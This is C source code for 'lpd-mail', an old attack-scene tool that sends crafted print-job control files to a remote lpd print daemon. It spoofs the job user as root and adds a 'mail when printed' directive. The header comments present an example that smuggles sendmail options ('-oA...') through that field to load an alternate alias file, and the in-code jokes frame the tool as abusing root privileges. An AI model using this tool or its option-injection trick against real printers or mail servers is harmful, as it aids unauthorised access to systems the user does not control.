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lpd
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lpd-mail.c
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C/C++ Source or Header
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2005-02-12
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5KB
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208 lines
/*
** lpd-mail.c
**
** Experiments with the BSD-style 'lpd' protocol.
** Gus '98
**
** Modified by Gamma to support sending "Mail When Printed". Use
** in conjunction with lpd-touch.
**
** Notes: Potential exploitation of lpd by specifying alternate
** sendmail alias file to use etc. However, there are several
** problems which come up to hinder progress. Here is
** not the place to go into details, have a play around
** yourself.
**
** Eg. ./lpd-mail localhost lp "-oA/var/spool/lpd/x" .
**
** Will attempt to use /var/spool/lpd/x@..db as an alternative
** alias file. Downfall is you are unable to specify a
** recipiant to pass to sendmail, it gets ran as uid 1 and
** cannot write to /var/spool/mqueue. YMMV though depending
** on the version of Sendmail running. Multiple versions
** of Sendmail always drops setuid though so no matter what
** alternate alias, sendmail.cf file you pass it, problems will
** arise when it comes to writing to /var/spool/mqueue.
**
** References: RFC-1179
**
** Greets: Gus for lpd-rm, pr0pane for mad discussions, Ao12M, #phuk
**
** lpd-mail.c Send mail when print job has finished
** Usage: ./lpd-mail <target> <printer> <user> <userhost>
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
/* Control codes for commands. No spaces unless specified */
#define LPD_RECIEVE_JOB '\2' /* \2 printername <lf> */
#define CMD_RECIEVE_CONTROL_FILE '\2' /* \2 size <space> name <lf> */
#define CMD_RECIEVE_DATA_FILE '\3' /* \3 size <space> name <lf> */
#define CMD_CLASSNAME 'C' /* C classname <lf> */
#define CMD_HOSTNAME 'H' /* H hostname <lf> */
#define CMD_JOBNAME 'J' /* J jobname <lf> */
#define CMD_PRINTBANNERPAGE 'L' /* L username <lf */
#define CMD_MAIL_WHEN_PRINTED 'M' /* M username@host <lf> */
#define CMD_SOURCEFILENAME 'N' /* N filename <lf> */
#define CMD_USERNAME 'P' /* P user-requesting-job <lf> */
#define CMD_UNLINK 'U' /* U filename <lf> */
#define CMD_PRINTFORMATTEDFILE 'f' /* f Filename of pre-formatted text */
void usage(char *);
int doit(int ,char *,char *, char *, char *);
int openhost (char *);
int main (int argc, char *argv[])
{
int port,sock;
char *target,*printer,*user,*userhost;
port = 0;
target = printer = user = userhost = NULL;
fprintf(stderr,"'lpd-mail.c' - Gus'98 with mods by Gamma\n");
if (argc < 5) usage(argv[0]);
if (getuid() != 0)
{
fprintf(stderr,"You must be root to run this.\n");
exit(-1);
}
target = argv[1];
printer = argv[2];
user = argv[3];
userhost = argv[4];
if ((sock = openhost(target)) > 0)
{
exit(doit(sock,printer,target,user,userhost));
}
else
{
exit(sock);
}
}
int openhost (char *target)
{
int sock;
struct hostent *he;
struct sockaddr_in sa;
int localport;
he=gethostbyname(target);
if(he==NULL)
{
fprintf(stderr,"Bad hostname");
return (-1);
}
/*
** According to the RFC, the source port must be in the range
** of 721-731 inclusive.
*/
srand(getpid());
localport = 721 + (int) (10.0*rand()/(RAND_MAX+1.0));
sock=socket(AF_INET,SOCK_STREAM,0);
sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_family=AF_INET;
sa.sin_port=htons(localport);
bind(sock,(struct sockaddr *)&sa,sizeof(sa));
sa.sin_port=htons(515);
memcpy(&sa.sin_addr,he->h_addr,he->h_length);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
{
perror("Can't connect");
return (-1);
}
else
{
fcntl(sock,F_SETFL,O_NONBLOCK);
}
printf("Source port: %d : Connected...\n",localport);
return(sock);
}
int doit(int sock,char *printer,char *target, char *user, char *userhost)
{
char hello[255];
char sendbuf[1024];
char respbuf[255];
/* Hello Mr LPD. Can I print to <printer> please ? */
sprintf(sendbuf,"%c%s\n",LPD_RECIEVE_JOB,printer);
if ((write(sock,sendbuf,strlen(sendbuf)) != (strlen(printer)+2)))
{
perror("1 write");
}
/* Why yes young man, what would you like me to do ? */
read(sock,respbuf,255);
/* fprintf(stderr,": %s\n",respbuf); */
/* Would you be so kind as to carry out the commands in this file
* as superuser without giving up any priviledges please ?
*/
sprintf(sendbuf,"%c%s\n%croot\n%cmyjobname\n%c%s\n%croot\n%c%s\n%cdfA",
CMD_HOSTNAME,
userhost,
CMD_USERNAME,
CMD_JOBNAME,
CMD_CLASSNAME,
target,
CMD_PRINTBANNERPAGE,
CMD_MAIL_WHEN_PRINTED,
user,
CMD_PRINTFORMATTEDFILE);
/* But of course young feller me lad! Security is for girls! */
sprintf(hello,"%c%d cfA12\n",
CMD_RECIEVE_CONTROL_FILE,
strlen(sendbuf));
printf("Sent hello.\n");
if (write(sock,hello,strlen(hello)) != strlen(hello)) perror("2 write");
if (write(sock,sendbuf,strlen(sendbuf)+1) != (strlen(sendbuf)+1))
{
perror("3 write");
}
printf("Sent command set.\n");
sleep(3);
shutdown(sock,2);
return (0);
}
void usage (char *name)
{
fprintf(stderr,"Usage: %s <target> <printer> <user> <userhost>\n",name);
exit(1);
}
/* www.hack.co.za [2000]*/